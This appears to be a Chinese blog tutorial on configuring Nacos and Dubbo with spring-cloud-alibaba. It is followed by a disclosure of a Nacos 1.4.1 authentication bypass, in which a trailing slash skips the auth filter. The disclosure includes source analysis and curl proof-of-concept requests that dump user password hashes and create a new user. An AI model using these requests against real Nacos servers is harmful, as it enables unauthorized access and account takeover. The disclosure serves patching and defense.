由于spring-cloud的官方核心组件eureka停止升级维护,再加上支持国货,微服务的技术选型spring-cloud-alibaba,注册和服务发现中心,调用服务则选为dubbo,虽然耦合性有点高(指尖银河),但好歹是国货,没说的,必须支持。
小声比比:这类文章比较多,我也跟风一波,凑下热闹
技术栈:
spring-boot、spring-cloud-alibaba-nacos、dubbo
首先是nacos
nacos是干嘛的呢?简单来说就是服务注册、服务发现、高可用配置中心
首先下载nacos
<span style="color:#000000"><code class="language-bash">https://github.com/alibaba/nacos/releases
</code></span>
由于本人技术有限,只配置了nacos单机版,所以此文只叙述nacos的单机模式的相关操作
nacos数据存储
nacos的数据存储有好几种方式,默认用的file方式存储数据,如果要最快速启动的话自然什么也不用改,如果要更换数据存储方式的话则需要修改${nacos}/conf/application.properties文件
<span style="color:#000000"><code class="language-bash">db.num<span style="color:#669900">=</span>1
db.url.0<span style="color:#669900">=</span>jdbc:mysql://12.32.12.32:3243/sdfdsf?characterEncoding<span style="color:#669900">=</span>utf8<span style="color:#669900">&</span>connectTimeout<span style="color:#669900">=</span>10000<span style="color:#669900">&</span>socketTimeout<span style="color:#669900">=</span>30000<span style="color:#669900">&</span>autoReconnect<span style="color:#669900">=</span>true
db.user<span style="color:#669900">=</span>fdgfdg
db.password<span style="color:#669900">=</span>fdgbfdgfsdg
</code></span>
数据库信息修改不用多说了吧
启动nacos
首先到${nacos}/bin目录下,执行命令
<span style="color:#000000"><code class="language-powershell">sh startup<span style="color:#999999">.</span>sh <span style="color:#669900">-</span>m standalone
</code></span>
由于nacos默认集群模式,单机模式启动的话要加上-m standalone
注:不要修改nacos的访问前缀,否则默认配置可能无法找到nacos的server端,具体请看下去
nacos启动完后就可以不管了
项目代码
首先建立一个独立的公用模块,该模块不是服务,仅提供dubbo的interface类供其实现
由于该模块不需要任何业务代码仅需要interface类,故此处只贴interface的代码
<span style="color:#000000"><code class="language-java"><span style="color:#c678dd">public</span> <span style="color:#c678dd">interface</span> TestService <span style="color:#999999">{</span>
<span style="color:#5c6370">/**
* 发送消息
* @param test1Msg 发送给消费者1的消息
* @param test2Msg 发送给消费者2的消息
*/</span>
String <span style="color:#61aeee">test</span><span style="color:#999999">(</span>String test1Msg<span style="color:#999999">,</span>String test2Msg<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">}</span>
</code></span>
此模块就此结束,不再需要写任何东西。
由于是分布式项目,需要启动多个业务相关的服务,他们互为服务提供者和消费者,两个服务的代码格式都差不多,这里就偷懒只写一份。
<span style="color:#000000"><code class="language-xml"> <span style="color:#5c6370"><!-- SpringBoot Web --></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>org.springframework.boot<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-boot-starter-web<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.2.3.RELEASE<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-alibaba-nacos-discovery<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#5c6370"><!-- https://mvnrepository.com/artifact/com.alibaba.cloud/spring-cloud-starter-alibaba-nacos-config --></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-alibaba-nacos-config<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.2.3.RELEASE<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-dubbo<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>org.apache.dubbo<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>dubbo-registry-nacos<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.7.4.1<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>!--</span> <span style="color:#d19a66">此处为上面说的dubbbo必须的公用模块</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.test<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>api-test<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>0.0.1<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
</code></span>
先说dubbo怎么写
<span style="color:#000000"><code class="language-java">spring<span style="color:#669900">:</span>
cloud<span style="color:#669900">:</span>
nacos<span style="color:#669900">:</span>
config<span style="color:#669900">:</span>
server<span style="color:#669900">-</span>addr<span style="color:#669900">:</span> <span style="color:#98c379">12.12</span><span style="color:#98c379">.12</span><span style="color:#98c379">.12</span><span style="color:#669900">:</span><span style="color:#98c379">123</span>
file<span style="color:#669900">-</span>extension<span style="color:#669900">:</span> yaml
discovery<span style="color:#669900">:</span>
server<span style="color:#669900">-</span>addr<span style="color:#669900">:</span> <span style="color:#98c379">12.12</span><span style="color:#98c379">.12</span><span style="color:#98c379">.12</span><span style="color:#669900">:</span><span style="color:#98c379">123</span>
</code></span>
<span style="color:#000000"><code class="language-java"><span style="color:#999999">@SpringBootApplication</span><span style="color:#999999">(</span>exclude <span style="color:#669900">=</span> DataSourceAutoConfiguration<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">)</span>
<span style="color:#999999">@EnableDubbo</span>
<span style="color:#999999">@EnableDiscoveryClient</span>
<span style="color:#c678dd">public</span> <span style="color:#c678dd">class</span> Application <span style="color:#999999">{</span>
<span style="color:#c678dd">public</span> <span style="color:#c678dd">static</span> <span style="color:#c678dd">void</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span>String<span style="color:#999999">[</span><span style="color:#999999">]</span> args<span style="color:#999999">)</span> <span style="color:#999999">{</span>
SpringApplication<span style="color:#999999">.</span><span style="color:#61aeee">run</span><span style="color:#999999">(</span>Application<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">,</span> args<span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">}</span>
<span style="color:#999999">}</span>
</code></span>
@enabledubbo 注解是标注此项目为dubbo服务提供者与消费者,该注解是额外标注这三个注解
<span style="color:#000000"><code class="language-java"><span style="color:#999999">@EnableDubboConfig</span>引入类DubboConfigConfigurationRegistrar,将于解析配置相关的类注册到spring容器;
<span style="color:#999999">@DubboComponentScan</span>引入类DubboComponentScanRegistrar,用于指定<span style="color:#999999">@Service</span>扫描路径;
<span style="color:#999999">@EnableDubboLifecycle</span>引入类DubboLifecycleComponentRegistrar,注册了两个监听器到spring容器。
</code></span>
接下来是重点
<span style="color:#000000"><code class="language-java"><span style="color:#c678dd">import</span> com<span style="color:#999999">.</span>guangxin<span style="color:#999999">.</span>system<span style="color:#999999">.</span>api<span style="color:#999999">.</span>TestService<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>apache<span style="color:#999999">.</span>dubbo<span style="color:#999999">.</span>config<span style="color:#999999">.</span>annotation<span style="color:#999999">.</span>DubboService<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>slf4j<span style="color:#999999">.</span>Logger<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>slf4j<span style="color:#999999">.</span>LoggerFactory<span style="color:#999999">;</span>
<span style="color:#5c6370">/** dubbo远程调用类
* @author admin
*/</span>
<span style="color:#999999">@DubboService</span><span style="color:#999999">(</span>timeout <span style="color:#669900">=</span> <span style="color:#98c379">10000</span><span style="color:#999999">,</span>group <span style="color:#669900">=</span> <span style="color:#669900">"order"</span><span style="color:#999999">)</span>
<span style="color:#c678dd">public</span> <span style="color:#c678dd">class</span> TestServiceImpl <span style="color:#c678dd">implements</span> TestService <span style="color:#999999">{</span>
<span style="color:#c678dd">private</span> <span style="color:#c678dd">static</span> <span style="color:#c678dd">final</span> Logger log <span style="color:#669900">=</span> LoggerFactory<span style="color:#999999">.</span><span style="color:#61aeee">getLogger</span><span style="color:#999999">(</span>TestServiceImpl<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">@Override</span>
<span style="color:#c678dd">public</span> String <span style="color:#61aeee">test</span><span style="color:#999999">(</span>String test1Msg<span style="color:#999999">,</span> String test2Msg<span style="color:#999999">)</span> <span style="color:#999999">{</span>
log<span style="color:#999999">.</span><span style="color:#61aeee">info</span><span style="color:#999999">(</span><span style="color:#669900">"dubbo进入了order模块远程调用"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#c678dd">return</span> test1Msg<span style="color:#999999">;</span>
<span style="color:#999999">}</span>
<span style="color:#999999">}</span>
</code></span>
服务提供者(是提供者不是消费者)的application.yml配置
<span style="color:#000000"><code class="language-xml">dubbo:
application:
#name=服务名
name: payment-dev
# 项目访问端口
qos-port: 8091
consumer:
check: false
scan:
# 上述的服务提供者的实现类所在的包
base-packages: com.xxx.test.dubbo
protocol:
#name=
name: dubbo
port: -1
registry:
#spring-cloud=托管到spring-cloud的注册中心,可改为nacos://10.21.32.22:123,但注册中心的每个dubbo服务会额外出现两个多余的服务,技术所限,原因未知。改为spring-cloud则无此毛病
address: spring-cloud://10.21.32.22:123
</code></span>
<span style="color:#000000"><code class="language-java"> <span style="color:#999999">@DubboReference</span><span style="color:#999999">(</span>group <span style="color:#669900">=</span> <span style="color:#669900">"order"</span><span style="color:#999999">)</span>
<span style="color:#c678dd">private</span> OrderService orderService<span style="color:#999999">;</span>
<span style="color:#999999">@PostMapping</span><span style="color:#999999">(</span><span style="color:#669900">"testOrderDubbo"</span><span style="color:#999999">)</span>
<span style="color:#c678dd">public</span> BaseResult <span style="color:#61aeee">testOrderDubbo</span><span style="color:#999999">(</span>String msg<span style="color:#999999">)</span> <span style="color:#999999">{</span>
testService<span style="color:#999999">.</span><span style="color:#61aeee">test</span><span style="color:#999999">(</span>msg<span style="color:#999999">,</span> <span style="color:#669900">"payment访问order模块"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#c678dd">return</span> BaseResult<span style="color:#999999">.</span><span style="color:#61aeee">successResult</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
<span style="color:#999999">}</span>
</code></span>
轮到nacos了
首先到nacos的public命名空间建立配置文件,dataId命名格式为:#{服务名}-#{环境名}.${文件后缀},此处的文件后缀统一为yaml
服务注册到nacos非常简单,bootstrap.yml配置下就行
<span style="color:#000000"><code class="language-xml">server:
port: 8092
spring:
application:
name: order-dev
cloud:
nacos:
config:
#nacos地址
server-addr: 10.21.32.22:123
#nacos配置文件后缀
file-extension: yaml
discovery:
server-addr: 10.21.32.22:123
</code></span>
默认是用#{服务名}-#{环境名}.${文件后缀}查找配置文件,默认通过上述spring.cloud.config.server-addr的地址/nacos找配置文件,spring.cloud.discovery注册服务。故启动nacos的server端是尽量不要更改服务名
最后,启动项目。
注意 阿里 Nacos 惊爆,安全漏洞以绕过身份验证(附修复建议)
通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,才能避免User-Agent: Nacos-Server
绕过鉴权的安全问题。
但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:
调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test
),然后使用新添加的用户登录console,访问、修改、添加数据。
一、漏洞详情
问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter
:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
可以看到,上面三个if else分支:
第一个是authConfigs.isEnableUserAgentAuthWhite()
,它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server
,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);
第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
,也就是nacos 1.4.1版本对于User-Agent: Nacos-Server
安全问题的简单修复
第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应
问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key
去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value
进行匹配,若不匹配,则不进入分支执行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
可以看到,这里有一个判断method == null
,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看methodsCache.getMethod(req)
代码实现,我发现了一个方法,可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
这个代码里面,可以很明确的看到,method值的返回,取决于
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:
new URI(request.getRequestURI()).getPath()
一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
,得到的path将会是/nacos/v1/auth/users
,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is
,得到的path将会是/nacos/v1/auth/users/
通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null
条件将能满足,从而,绕过该鉴权机制。
二、漏洞影响范围
影响范围:
1.4.1
三、漏洞复现
访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,绕过了鉴权,返回了用户列表数据
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,绕过了鉴权,添加了新用户
{
"code":200,
"message":"create user ok!",
"data":null
}
再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
访问首页http://127.0.0.1:8848/nacos/
,登录新账号,可以做任何事情
regards,
threedr3am
三、 修复建议
2021年1月14日 Nacos 1.4.1刚发布,会直接在1.4.1进行hotfix。
https://github.com/alibaba/nacos/releases/tag/1.4.1